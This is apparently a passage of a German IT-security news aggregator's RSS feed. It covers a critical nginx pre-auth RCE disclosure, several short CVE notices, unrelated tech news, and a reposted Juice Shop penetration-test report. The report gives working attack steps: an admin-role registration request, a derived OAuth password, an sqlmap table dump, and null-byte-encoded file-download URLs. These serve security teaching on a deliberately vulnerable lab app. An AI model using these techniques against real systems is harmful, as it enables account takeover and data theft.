<pubDate>Mon, 20 Jul 2026 08:52:32 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><img width="1217" height="768" src="https://thecyberexpress.com/wp-content/uploads/CVE-2026-42533.webp" class="attachment-post-thumbnail size-post-thumbnail wp-post-image" alt="CVE-2026-42533" decoding="async" srcset="https://thecyberexpress.com/wp-content/uploads/CVE-2026-42533.webp 1217w, https://thecyberexpress.com/wp-content/uploads/CVE-2026-42533-300x189.webp 300w, https://thecyberexpress.com/wp-content/uploads/CVE-2026-42533-1024x646.webp 1024w, https://thecyberexpress.com/wp-content/uploads/CVE-2026-42533-768x485.webp 768w, https://thecyberexpress.com/wp-content/uploads/CVE-2026-42533-600x379.webp 600w, https://thecyberexpress.com/wp-content/uploads/CVE-2026-42533-150x95.webp 150w, https://thecyberexpress.com/wp-content/uploads/CVE-2026-42533-750x473.webp 750w, https://thecyberexpress.com/wp-content/uploads/CVE-2026-42533-1140x719.webp 1140w, https://thecyberexpress.com/wp-content/uploads/CVE-2026-42533.webp 1217w, https://thecyberexpress.com/wp-content/uploads/CVE-2026-42533-300x189.webp 300w, https://thecyberexpress.com/wp-content/uploads/CVE-2026-42533-1024x646.webp 1024w, https://thecyberexpress.com/wp-content/uploads/CVE-2026-42533-768x485.webp 768w, https://thecyberexpress.com/wp-content/uploads/CVE-2026-42533-600x379.webp 600w, https://thecyberexpress.com/wp-content/uploads/CVE-2026-42533-150x95.webp 150w, https://thecyberexpress.com/wp-content/uploads/CVE-2026-42533-750x473.webp 750w, https://thecyberexpress.com/wp-content/uploads/CVE-2026-42533-1140x719.webp 1140w" sizes="(max-width: 1217px) 100vw, 1217px" title="CVE-2026-42533 Exposes Critical Pre-Auth nginx RCE Flaw 1"></p><span data-contrast="auto">A newly disclosed security flaw, CVE-2026-42533, has revealed a critical Pre-Auth nginx vulnerability that could allow attackers to achieve reliable RCE (remote code execution) without authentication. The issue affects nginx versions 0.9.6 through 1.30.3 (stable) and 1.31.2 (mainline), while patched releases include 1.30.4 and 1.31.3. Affected NGINX Plus versions include R33-R36 (fixed in R36 P7) and 37.0.0.1-37.0.2.1 (fixed in 37.0.3.1).</span><span data-ccp-props="{}"> </span>

<span data-contrast="auto">According to the disclosure, the <a class="wpil_keyword_link" href="https://thecyberexpress.com/firewall-daily/vulnerabilities/" title="vulnerability" data-wpil-keyword-link="linked" data-wpil-monitor-id="29039">vulnerability</a> stems from a missing save-and-restore mechanism for PCRE capture state within nginx's two-pass script evaluation engine. The flaw enables attackers to trigger a heap buffer overflow with attacker-controlled content and length, while also exposing heap pointers through an information leak that can defeat Address Space Layout Randomization (ASLR). Chaining both primitives enables reliable Pre-Auth nginx RCE.</span><span data-ccp-props="{}"> </span>
<h3 aria-level="2"><b><span data-contrast="none">CVE-2026-42533 Impacts Multiple Configurations</span></b><span data-ccp-props='{"134245418":true,"134245529":true,"335559738":160,"335559739":80}'> </span></h3>
<span data-contrast="auto">The <a href="https://cyberstan.co.uk/nginx-rce/" target="_blank" rel="nofollow noopener">advisory warns</a> that deployments using map directives with regex patterns alongside regex capture sources, including location, server_name, rewrite, or if blocks, may be vulnerable. The issue depends on evaluation order, where regex capture references, such as $1 or named groups, are processed before a regex map variable.</span><span data-ccp-props="{}"> </span>

<span data-contrast="auto">Affected directives include proxy_set_header, proxy_method, proxy_pass, fastcgi_param, uwsgi_param, scgi_param, grpc_set_header, return, add_header, rewrite, set, root, alias, and access_log, among others. Both HTTP and stream modules are affected, and the <a href="https://thecyberexpress.com/default-credentials-polish-energy-grid-attack/" target="_blank" rel="noopener">vulnerable</a> capture and map variables do not need to exist within the same directive.</span><span data-ccp-props="{}"> </span>
<h3 aria-level="2"><b><span data-contrast="none">Technical Root Cause</span></b></h3>
<span data-contrast="auto">The researcher explained that nginx evaluates expressions in two stages: a length calculation (LEN) pass followed by a value (VALUE) pass. During execution, regex map evaluation overwrites shared capture <a class="wpil_keyword_link" href="https://thecyberexpress.com/what-is-data/" title="data" data-wpil-keyword-link="linked" data-wpil-monitor-id="29040">data</a> stored in the request object. As a result, the LEN pass and VALUE pass can calculate different capture sizes, causing either a heap overflow or an information leak depending on the relative capture lengths.</span><span data-ccp-props="{}"> </span>

<span data-contrast="auto">The disclosure states that attackers can control both the overflow size and leaked data using ordinary HTTP requests, including request URIs, headers, and bodies. No credentials, client certificates, or unusual configuration beyond the vulnerable pattern are required.</span><span data-ccp-props="{}"> </span>

<span data-contrast="auto">Testing reportedly achieved 10 out of 10 successful <a href="https://thecyberexpress.com/rcritical-ivanti-csa-vulnerabilities-exploited/" target="_blank" rel="noopener">exploitations</a> on Ubuntu 24.04 using glibc 2.39 with ASLR enabled.</span>
<h3 aria-level="2"><b><span data-contrast="none">Mitigation and Disclosure</span></b></h3>
<span data-contrast="auto">The researcher said recent fixes for CVE-2026-42945, CVE-2026-9256, CVE-2026-42055, and CVE-2026-48142 do not address CVE-2026-42533. Administrators are advised to upgrade immediately to nginx 1.30.4, 1.31.3, or the corresponding patched NGINX Plus releases.</span><span data-ccp-props="{}"> </span>

<span data-contrast="auto">Until systems are updated, defenders should audit configurations that combine regex captures with regex map variables in the same evaluation path. The researcher also released a static configuration scanner that identifies vulnerable configurations without exploiting them.</span><span data-ccp-props="{}"> </span>

<span data-contrast="auto">The initial report was submitted to F5 SIRT on May 17, 2026, with follow-up analyses covering additional variants, including cross-directive triggering and named capture clobbering. While a proof-of-concept exploit exists, the researcher said it will be withheld until users have sufficient time to apply patches, citing concerns over rapid exploitation following previous <a href="https://thecyberexpress.com/nginx-rift-cve-2026-42945-active-exploitation/" target="_blank" rel="noopener">nginx</a> vulnerability disclosures.</span><span data-ccp-props="{}"> </span>]]></content:encoded>
</item>
<item>
<title><![CDATA[15-Year-Old NGINX Vulnerability Lets Attackers Crash Workers and Achieve Remote Code Execution]]></title>
<description><![CDATA[A newly disclosed flaw tracked as CVE-2026-42533 affects nginx’s script engine and has been silently exploitable since March 2011, when the map directive gained regex support. Security researcher Stan Shaw reported the bug to F5 SIRT, which coordinated a fix…
Read more →
The post 15-Year-Old NGIN...]]></description>
<link>https://tsecurity.de/de/3680291/it-security-nachrichten/15-year-old-nginx-vulnerability-lets-attackers-crash-workers-and-achieve-remote-code-execution/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3680291/it-security-nachrichten/15-year-old-nginx-vulnerability-lets-attackers-crash-workers-and-achieve-remote-code-execution/</guid>
<pubDate>Mon, 20 Jul 2026 07:54:07 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>A newly disclosed flaw tracked as CVE-2026-42533 affects nginx’s script engine and has been silently exploitable since March 2011, when the map directive gained regex support. Security researcher Stan Shaw reported the bug to F5 SIRT, which coordinated a fix…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/15-year-old-nginx-vulnerability-lets-attackers-crash-workers-and-achieve-remote-code-execution/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/15-year-old-nginx-vulnerability-lets-attackers-crash-workers-and-achieve-remote-code-execution/">15-Year-Old NGINX Vulnerability Lets Attackers Crash Workers and Achieve Remote Code Execution</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[15-Year-Old NGINX Vulnerability Lets Attackers Crash Workers and Achieve Remote Code Execution]]></title>
<description><![CDATA[A newly disclosed flaw tracked as CVE-2026-42533 affects nginx’s script engine and has been silently exploitable since March 2011, when the map directive gained regex support. Security researcher Stan Shaw reported the bug to F5 SIRT, which coordinated a fix released in nginx 1.30.4 (stable) and ...]]></description>
<link>https://tsecurity.de/de/3680214/it-security-nachrichten/15-year-old-nginx-vulnerability-lets-attackers-crash-workers-and-achieve-remote-code-execution/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3680214/it-security-nachrichten/15-year-old-nginx-vulnerability-lets-attackers-crash-workers-and-achieve-remote-code-execution/</guid>
<pubDate>Mon, 20 Jul 2026 05:54:21 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>A newly disclosed flaw tracked as CVE-2026-42533 affects nginx’s script engine and has been silently exploitable since March 2011, when the map directive gained regex support. Security researcher Stan Shaw reported the bug to F5 SIRT, which coordinated a fix released in nginx 1.30.4 (stable) and 1.31.3 (mainline), along with corresponding patches for NGINX Plus […]</p>
<p>The post <a href="https://cybersecuritynews.com/15-year-old-nginx-vulnerability/">15-Year-Old NGINX Vulnerability Lets Attackers Crash Workers and Achieve Remote Code Execution</a> appeared first on <a href="https://cybersecuritynews.com/">Cyber Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[ANU accused of ‘hysterical’ response to students using AI to cheat as unis scramble to ‘secure’ assessments]]></title>
<description><![CDATA[Australia risks ‘shipping’ intellectual capability overseas if educational rigour not restored, experts warnGet our breaking news email, free app or daily news podcastAn academic at the Australian National University has accused it of a “hysterical” response to students using AI to cheat, as tert...]]></description>
<link>https://tsecurity.de/de/3678482/ai-nachrichten/anu-accused-of-hysterical-response-to-students-using-ai-to-cheat-as-unis-scramble-to-secure-assessments/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3678482/ai-nachrichten/anu-accused-of-hysterical-response-to-students-using-ai-to-cheat-as-unis-scramble-to-secure-assessments/</guid>
<pubDate>Sat, 18 Jul 2026 22:03:29 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Australia risks ‘shipping’ intellectual capability overseas if educational rigour not restored, experts warn</p><ul><li><p>Get our <a href="https://www.theguardian.com/email-newsletters?CMP=cvau_sfl">breaking news email</a>, <a href="https://app.adjust.com/w4u7jx3">free app</a> or <a href="https://www.theguardian.com/australia-news/series/full-story?CMP=cvau_sfl">daily news podcast</a></p></li></ul><p>An academic at the Australian National University has accused it of a “hysterical” response to students using AI to cheat, as tertiary institutions rush to shore up the credibility of assessments.</p><p>But a colleague warned Australia is in danger of “shipping our national intellectual capability” to companies in California and China if educational rigour is not restored.</p> <a href="https://www.theguardian.com/australia-news/2026/jul/18/anu-accused-of-hysterical-response-to-students-using-ai-to-as-unis-scramble-to-secure-assessments">Continue reading...</a>]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2026-49485 | hapifhir FHIR up to 6.9.8 FHIRPathEngine matches/matchesFull/replaceMatches incorrect regex (EUVD-2026-45338)]]></title>
<description><![CDATA[A vulnerability marked as problematic has been reported in hapifhir FHIR up to 6.9.8. Affected by this issue is the function matches/matchesFull/replaceMatches of the component FHIRPathEngine. The manipulation leads to incorrect regular expression.

This vulnerability is referenced as CVE-2026-49...]]></description>
<link>https://tsecurity.de/de/3677384/sicherheitsluecken/cve-2026-49485-hapifhir-fhir-up-to-698-fhirpathengine-matchesmatchesfullreplacematches-incorrect-regex-euvd-2026-45338/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3677384/sicherheitsluecken/cve-2026-49485-hapifhir-fhir-up-to-698-fhirpathengine-matchesmatchesfullreplacematches-incorrect-regex-euvd-2026-45338/</guid>
<pubDate>Sat, 18 Jul 2026 05:06:18 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability marked as <a href="https://vuldb.com/kb/risk">problematic</a> has been reported in <a href="https://vuldb.com/product/hapifhir:fhir">hapifhir FHIR up to 6.9.8</a>. Affected by this issue is the function <code>matches/matchesFull/replaceMatches</code> of the component <em>FHIRPathEngine</em>. The manipulation leads to incorrect regular expression.

This vulnerability is referenced as <a href="https://vuldb.com/cve/CVE-2026-49485">CVE-2026-49485</a>. Remote exploitation of the attack is possible. No exploit is available.]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2026-14741 | HTTP::Date prior 6.08 parse_date incorrect regex (Nessus ID 327483)]]></title>
<description><![CDATA[A vulnerability classified as problematic was found in HTTP::Date. This issue affects the function parse_date. Executing a manipulation can lead to incorrect regular expression.

The identification of this vulnerability is CVE-2026-14741. The attack may be launched remotely. There is no exploit a...]]></description>
<link>https://tsecurity.de/de/3677147/sicherheitsluecken/cve-2026-14741-httpdate-prior-608-parsedate-incorrect-regex-nessus-id-327483/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3677147/sicherheitsluecken/cve-2026-14741-httpdate-prior-608-parsedate-incorrect-regex-nessus-id-327483/</guid>
<pubDate>Sat, 18 Jul 2026 00:24:30 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability classified as <a href="https://vuldb.com/kb/risk">problematic</a> was found in <a href="https://vuldb.com/product/http_date">HTTP::Date</a>. This issue affects the function <code>parse_date</code>. Executing a manipulation can lead to incorrect regular expression.

The identification of this vulnerability is <a href="https://vuldb.com/cve/CVE-2026-14741">CVE-2026-14741</a>. The attack may be launched remotely. There is no exploit available.]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2026-45367 | hapifhir HAPI FHIR up to 6.9.6 FHIRPathEngine matches/matchesFull/replaceMatches incorrect regex (CNNVD-2026-97495752)]]></title>
<description><![CDATA[A vulnerability classified as problematic has been found in hapifhir HAPI FHIR up to 6.9.6. Affected by this issue is the function matches/matchesFull/replaceMatches of the component FHIRPathEngine. This manipulation causes incorrect regular expression.

This vulnerability is tracked as CVE-2026-...]]></description>
<link>https://tsecurity.de/de/3676755/sicherheitsluecken/cve-2026-45367-hapifhir-hapi-fhir-up-to-696-fhirpathengine-matchesmatchesfullreplacematches-incorrect-regex-cnnvd-2026-97495752/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3676755/sicherheitsluecken/cve-2026-45367-hapifhir-hapi-fhir-up-to-696-fhirpathengine-matchesmatchesfullreplacematches-incorrect-regex-cnnvd-2026-97495752/</guid>
<pubDate>Fri, 17 Jul 2026 19:51:44 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability classified as <a href="https://vuldb.com/kb/risk">problematic</a> has been found in <a href="https://vuldb.com/product/hapifhir:hapi_fhir">hapifhir HAPI FHIR up to 6.9.6</a>. Affected by this issue is the function <code>matches/matchesFull/replaceMatches</code> of the component <em>FHIRPathEngine</em>. This manipulation causes incorrect regular expression.

This vulnerability is tracked as <a href="https://vuldb.com/cve/CVE-2026-45367">CVE-2026-45367</a>. The attack is possible to be carried out remotely. No exploit exists.]]></content:encoded>
</item>
<item>
<title><![CDATA[I tested this backup power station during a real blackout - don't make my mistakes]]></title>
<description><![CDATA[A real three-day blackout revealed problems I never would've found on a power station's spec sheet.]]></description>
<link>https://tsecurity.de/de/3676285/it-nachrichten/i-tested-this-backup-power-station-during-a-real-blackout-dont-make-my-mistakes/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3676285/it-nachrichten/i-tested-this-backup-power-station-during-a-real-blackout-dont-make-my-mistakes/</guid>
<pubDate>Fri, 17 Jul 2026 16:18:10 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A real three-day blackout revealed problems I never would've found on a power station's spec sheet.]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2022-3559 | Exim Regex use after free (Bug 2915 / EUVD-2022-42925)]]></title>
<description><![CDATA[A vulnerability categorized as problematic has been discovered in Exim. This issue affects some unknown processing of the component Regex Handler. Executing a manipulation can lead to use after free.

This vulnerability is tracked as CVE-2022-3559. The attack is only possible within the local net...]]></description>
<link>https://tsecurity.de/de/3675388/sicherheitsluecken/cve-2022-3559-exim-regex-use-after-free-bug-2915-euvd-2022-42925/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3675388/sicherheitsluecken/cve-2022-3559-exim-regex-use-after-free-bug-2915-euvd-2022-42925/</guid>
<pubDate>Fri, 17 Jul 2026 09:40:02 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability categorized as <a href="https://vuldb.com/kb/risk">problematic</a> has been discovered in <a href="https://vuldb.com/product/exim">Exim</a>. This issue affects some unknown processing of the component <em>Regex Handler</em>. Executing a manipulation can lead to use after free.

This vulnerability is tracked as <a href="https://vuldb.com/cve/CVE-2022-3559">CVE-2022-3559</a>. The attack is only possible within the local network. No exploit exists.

Applying a patch is advised to resolve this issue.]]></content:encoded>
</item>
<item>
<title><![CDATA[VAPT Report Example]]></title>
<description><![CDATA[This report documents multiple security vulnerabilities identified in the OWASP Juice Shop application. Each finding is described in detail, including severity assessment, exploitation steps and remediation guidance.Setup OWASP Juice Shop Locally Using DockerInstall DockerRun:docker pull bkimmini...]]></description>
<link>https://tsecurity.de/de/3675301/hacking/vapt-report-example/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3675301/hacking/vapt-report-example/</guid>
<pubDate>Fri, 17 Jul 2026 09:09:42 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>This report documents multiple security vulnerabilities identified in the OWASP Juice Shop application. Each finding is described in detail, including severity assessment, exploitation steps and remediation guidance.</p><h3>Setup OWASP Juice Shop Locally Using Docker</h3><h3>Install Docker</h3><p>Run:</p><pre>docker pull bkimminich/juice-shop<br>docker run - rm -p 127.0.0.1:3000:3000 bkimminich/juice-shop</pre><p>Browse to:<br> <a href="http://localhost:3000/">http://localhost:3000</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/740/1*mwz1GNdYbcw3HOLUQX1vGA.png"></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*089pKG_zM-T4UOMGPzYjRw.png"></figure><h3>1. Privilege Escalation via User Registration API</h3><h3>Summary (with CWE)</h3><p>The application allows an attacker to self-register an administrator account by directly invoking the user creation API and supplying the role parameter in the request body. Due to missing server-side authorization and role validation, the backend blindly trusts client input. This results in unauthorized privilege escalation, granting full administrative access without authentication or approval.</p><h3>CWE ID</h3><ul><li>CWE-269 — Improper Privilege Management</li><li>CWE-285 — Improper Authorization</li></ul><h3>Severity (CVSS v3.1)</h3><p><strong>CVSS Vector:</strong><br> CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H</p><h3>Metrics:</h3><ul><li>Attack Vector: Network</li><li>Attack Complexity: Low</li><li>Privileges Required: None</li><li>User Interaction: None</li><li>Scope: Unchanged</li><li>Confidentiality Impact: High</li><li>Integrity Impact: High</li><li>Availability Impact: High</li></ul><p><strong>CVSS Base Score:</strong> 9.8 (Critical)</p><h3>Description</h3><p>OWASP Juice Shop exposes a user registration API endpoint (/api/Users) that accepts user details in JSON format. The backend fails to enforce role based access control during user creation and allows the client to specify sensitive attributes such as role. An attacker can exploit this flaw by sending a crafted POST request with "role":"admin", resulting in the creation of an administrator account without any authorization checks.</p><p>This vulnerability completely compromises the application, as administrative privileges allow full access to sensitive data and management functions.</p><h3>Steps to Reproduce</h3><ol><li>Send a POST request to: http://localhost:3000/api/Users</li><li>Edit request body and add role parameter: { "role": "admin" }</li><li>Submit the request using Burp Suite.</li><li>The server responds with a successful user creation message.</li><li>Log in using the created credentials.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yEWUogo4-1Uor4o5aDkSyQ.png"></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Tam4-35GCakrERj7NHew5g.png"></figure><h3>Suggested Remediation</h3><ul><li>Enforce server-side role control</li><li>Default role assignment</li><li>Allow admin role assignment only through authenticated admin workflows</li><li>Validate permissions on every sensitive endpoint</li></ul><h3>References</h3><ol><li><a href="https://owasp.org/Top10/A01_2021-Broken_Access_Control/">OWASP Top 10 — Broken Access Control</a></li><li><a href="https://cwe.mitre.org/data/definitions/269.html">CWE-269: Improper Privilege Management</a></li><li><a href="https://cwe.mitre.org/data/definitions/285.html">CWE-285: Improper Authorization</a></li><li><a href="https://owasp.org/www-project-juice-shop/">OWASP Juice Shop Project</a></li></ol><h3>2. OAuth Account Takeover</h3><h3>Summary (with CWE)</h3><p>OWASP Juice Shop implements Google OAuth login in an insecure manner by deterministically generating user passwords on the client side. The password is derived by reversing the user’s email address and Base64-encoding it, which can be easily reproduced by an attacker.</p><p>This design flaw allows an attacker to log in directly using email/password authentication for an OAuth-registered user, resulting in full account takeover without cracking hashes or bypassing authentication controls.</p><h3>CWE ID</h3><ul><li>CWE-522 — Insufficiently Protected Credentials</li><li>CWE-287 — Improper Authentication</li><li>CWE-284 — Improper Access Control</li></ul><h3>Severity (CVSS v3.1)</h3><p><strong>CVSS Vector:</strong><br> CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N</p><h3>Metrics</h3><ul><li>Attack Vector: Network</li><li>Attack Complexity: Low</li><li>Privileges Required: None</li><li>User Interaction: None</li><li>Scope: Unchanged</li><li>Confidentiality Impact: High</li><li>Integrity Impact: High</li><li>Availability Impact: None</li></ul><p><strong>CVSS Base Score:</strong> 9.1 (Critical)</p><h3>Description</h3><p>OWASP Juice Shop allows users to register and log in via Google OAuth. During this process, the application uses a client-side JavaScript function userService.oauthLogin() found in main.js.</p><p>The OAuth workflow internally calls:</p><ul><li>userService.save() (user creation)</li><li>userService.login() (standard login)</li></ul><p>Both functions set the user password using the following logic:</p><pre>password = btoa(n.email.split("").reverse().join(""))</pre><h3>Password Generation Logic</h3><ul><li>The email address is reversed.</li><li>The reversed string is Base64-encoded.</li><li>The result is used as the account password.</li></ul><h3>Steps to Reproduce:</h3><h4>Identify OAuth Password Logic</h4><ul><li>Open main.js</li><li>Search for oauthLogin</li><li>Locate: password: btoa(n.email.split("").reverse().join(""))</li></ul><h4>Derive Victim Password</h4><p>Email: bjoern@gmail.com<br> Reversed: moc.liamg@nreojb<br> Base64 encoded password:</p><pre>bW9jLmxpYW1nQGhjaW5pbW1pay5ucmVvamI=</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/948/1*vCdCuyVKLSiLH_hhpgCIGA.png"></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ICsFhQCtxrXuosRiVJRgOQ.png"></figure><h3>Suggested Remediation</h3><ul><li>Never generate passwords client-side</li><li>Separate OAuth and password authentication</li><li>Use strong, random credentials</li><li>Do not expose authentication logic</li><li>Perform security design reviews</li></ul><h3>References</h3><ol><li><a href="https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures/">OWASP Top 10 — Broken Authentication</a></li><li><a href="https://cwe.mitre.org/data/definitions/522.html">CWE-522 — Insufficiently Protected Credentials</a></li><li><a href="https://datatracker.ietf.org/doc/html/rfc8252">OAuth 2.0 Security Best Practices (RFC 8252)</a></li><li><a href="https://owasp.org/www-project-juice-shop/">OWASP Juice Shop Project</a></li></ol><h3>3. SQL Injection in Product Search Endpoint</h3><h3>Summary (with CWE)</h3><p>An SQL Injection (SQLi) vulnerability was identified in the product search functionality of OWASP Juice Shop. The application fails to properly sanitize user-controlled input in the q parameter, allowing attackers to inject malicious SQL queries.</p><p>This flaw enables unauthorized database access, including enumeration of database tables and potential exposure of sensitive data.</p><h3>CWE ID</h3><p>CWE-89 — Improper Neutralization of Special Elements used in an SQL Command (SQL Injection)</p><h3>Severity (CVSS v3.1)</h3><p><strong>CVSS Vector:</strong><br> CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N</p><h3>Metrics</h3><ul><li>Attack Vector: Network</li><li>Attack Complexity: Low</li><li>Privileges Required: None</li><li>User Interaction: None</li><li>Scope: Unchanged</li><li>Confidentiality Impact: High</li><li>Integrity Impact: High</li><li>Availability Impact: None</li></ul><p><strong>CVSS Base Score:</strong> 9.1 (Critical)</p><h3>Description</h3><p>The /rest/products/search API endpoint accepts user input via the <strong>q</strong> parameter to search for products. This input is directly incorporated into backend SQL queries without sufficient sanitization or parameterization.</p><p>An attacker can exploit this weakness to inject arbitrary SQL commands, allowing enumeration of database schema and extraction of sensitive information. Automated tools such as <strong>sqlmap</strong> can successfully detect and exploit this vulnerability, confirming the presence of SQL injection.</p><p>This issue represents a complete breakdown of input validation and secure query handling, posing a serious risk to application confidentiality and integrity.</p><h3>Exploit Using sqlmap</h3><pre>sqlmap -u "http://localhost:3000/rest/products/search?q=apple" --tables</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oE0CHEd8TUToNy1MGhy4qg.png"></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*m9UhO9JS5Hl3YCBxryIDuA.png"></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*m6jvJUSScWD63XiOpBgzuQ.png"></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oTjbupN8n126CTwsYotbYQ.png"></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KFsmogCi-BSuofuUDJ45vg.png"></figure><p>Got User credentials :)</p><h3>Suggested Remediation</h3><ul><li>Sanitize and validate all user-supplied inputs</li><li>Implement parameterized queries</li><li>Deploy a Web Application Firewall (WAF)</li><li>Enable logging &amp; monitoring</li></ul><h3>References</h3><ol><li><a href="https://owasp.org/www-community/attacks/SQL_Injection">OWASP SQL Injection Prevention Cheat Sheet</a></li><li><a href="https://cwe.mitre.org/data/definitions/89.html">CWE-89 — SQL Injection</a></li><li><a href="https://owasp.org/www-project-juice-shop/">OWASP Juice Shop Documentation</a></li><li>CVSS v3.1 Specification: <a href="https://www.first.org/cvss/v3.1/">https://www.first.org/cvss/v3.1/</a></li></ol><h3>4. Arbitrary File Download via Poison Null Byte Injection</h3><h3>Summary (with CWE)</h3><p>The application is vulnerable to <strong>Poison Null Byte Injection</strong>, allowing an attacker to bypass file extension validation and download <strong>sensitive backup files</strong> stored on the server. By exploiting improper input validation and unsafe file handling, restricted backup files such as developer and salesman data can be accessed.</p><h3>CWE ID</h3><ul><li>CWE-158 — Improper Neutralization of Null Byte</li><li>CWE-22 — Improper Limitation of Pathname to Restricted Directory</li></ul><h3>Severity (CVSS v3.1)</h3><p><strong>CVSS Vector:</strong><br> CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N</p><p><strong>CVSS Base Score:</strong> 7.5 (High)</p><h3>Description</h3><p>OWASP Juice Shop restricts file downloads in the /ftp endpoint by validating file extensions. However, this validation can be bypassed using a <strong>Poison Null Byte (%00) injection</strong> combined with <strong>double URL encoding</strong>.</p><p>The backend improperly handles null bytes during file system access, causing the application to truncate the filename at the null byte and serve restricted backup files (e.g., .bak) while still passing extension validation checks.</p><p>This results in <strong>unauthorized access to sensitive backup files</strong>, potentially exposing configuration details, credentials, or business data.</p><h3>Steps to Reproduce:</h3><h4><strong>Access a Developer’s Forgotten Backup File:</strong></h4><ol><li>Navigate to the FTP directory: <a href="http://localhost:3000/ftp">http://localhost:3000/ftp</a></li><li>Attempt direct access (fails due to extension restriction): <a href="http://localhost:3000/ftp/package.json.bak">http://localhost:3000/ftp/package.json.bak</a></li><li>Try Poison Null Byte injection (fails initially): <a href="http://localhost:3000/ftp/package.json.bak%00.md">http://localhost:3000/ftp/package.json.bak%00.md</a></li><li>URL-encode the % character as well: <a href="http://localhost:3000/ftp/package.json.bak%2500.md">http://localhost:3000/ftp/package.json.bak%2500.md</a></li></ol><p>The server successfully returns the <strong>restricted backup file</strong>, completing the exploit.</p><h4><strong>Access a Salesman’s Forgotten Backup File</strong>:</h4><ol><li>Use the same Poison Null Byte technique: <a href="http://localhost:3000/ftp/coupons_2013.md.bak%2500.md">http://localhost:3000/ftp/coupons_2013.md.bak%2500.md</a></li><li>The backup file downloads successfully, revealing sensitive business data.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lvtP_eSL1Sza2N8_1_1Yag.png"></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VxtA320Y7ic8X98oKXa02A.png"></figure><p>Backup file downloads successfully.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZwQ-UUtHidNkJxdbtjDSgw.png"></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/887/1*-mITIIF8p-SjS0LxXk8ViQ.png"></figure><h3>Suggested Remediation</h3><ul><li>Reject null bytes explicitly</li><li>Decode input before validation</li><li>Use allow-listed file access</li><li>Disable public access to backups</li><li>Use secure file APIs</li></ul><h3>References</h3><ol><li><a href="https://owasp.org/www-project-juice-shop/">OWASP Foundation — OWASP Juice Shop</a></li><li><a href="https://cwe.mitre.org/data/definitions/158.html">CWE-158: Improper Neutralization of Null Byte</a></li><li><a href="https://owasp.org/www-project-web-security-testing-guide/">OWASP Testing Guide — File Handling Vulnerabilities</a></li><li><a href="https://portswigger.net/web-security/file-path-traversal">PortSwigger — File Path Traversal &amp; Null Byte Attacks</a></li></ol><h3>Thanks For Reading :)</h3><p><strong>Happy Hacking ;)</strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&amp;referrerSource=full_rss&amp;postId=f8440a9735c1" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/vapt-report-example-f8440a9735c1">VAPT Report Example</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[ThreatsDay: Game Cheat Spyware, 24-Hour Ransomware, Chrome Sync Stalking + 12 More Stories]]></title>
